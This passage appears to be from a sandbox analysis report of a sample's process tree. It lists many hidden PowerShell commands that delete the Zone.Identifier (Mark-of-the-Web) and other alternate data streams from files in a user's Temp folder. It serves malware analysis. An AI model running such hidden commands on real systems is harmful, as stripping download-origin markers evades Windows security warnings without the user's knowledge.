                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD414F.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:2596
                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD4170.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                              PID:3992
                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD4170.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:4956
                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD42CA.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:5060
                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD42CA.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:2164
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\VBE:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                    PID:904
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\VBE'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                    PID:2456
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\acrocef_low:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:3344
                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\acrocef_low'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:3368
                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:2968
                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\aria-debug-3884.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:4364
                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\aria-debug-3884.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                            PID:3056
                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\aria-debug-4352.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1076
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\aria-debug-4352.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:792
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\aria-debug-5512.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:4544
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\aria-debug-5512.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:736
                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\cv_debug.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:988
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\cv_debug.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      PID:748
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      PID:1860
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      PID:2400
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI73F7.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      PID:2724
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI73F7.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1552
                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI7414.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:5032
                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI7414.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:4304
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI73F7.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            PID:3336
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI73F7.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:224
                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:3032
                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI7414.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:2028
                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI7414.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:828
                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\e970e0b0-f91f-4f06-ae5d-9ef0ddf7a6d0.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:3064
                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\e970e0b0-f91f-4f06-ae5d-9ef0ddf7a6d0.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:5052
                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:4056
                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1708
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\jawshtml.html:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                            PID:1000
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\jawshtml.html'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                            PID:2152
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\jusched.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1544
                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:4736
                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\jusched.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:1816
                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\mapping.csv:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:1520
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\mapping.csv'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:4364
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                      PID:2272
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:2392
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\msedge_installer.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:2132
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\msedge_installer.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:772
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\offline:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:852
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\offline'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:2616
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\offline-shm:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                PID:3776
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\offline-shm'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                PID:4164
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\offline-wal:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:828
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\offline-wal'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:3064
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\offline.session64:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1516
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\offline.session64'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:2724
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wct40A9.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:3124
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wct40A9.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                          PID:4412
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wct5B1B.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:736
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wct5B1B.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:2672
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wct9EEF.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:2028
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wct9EEF.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                PID:1864
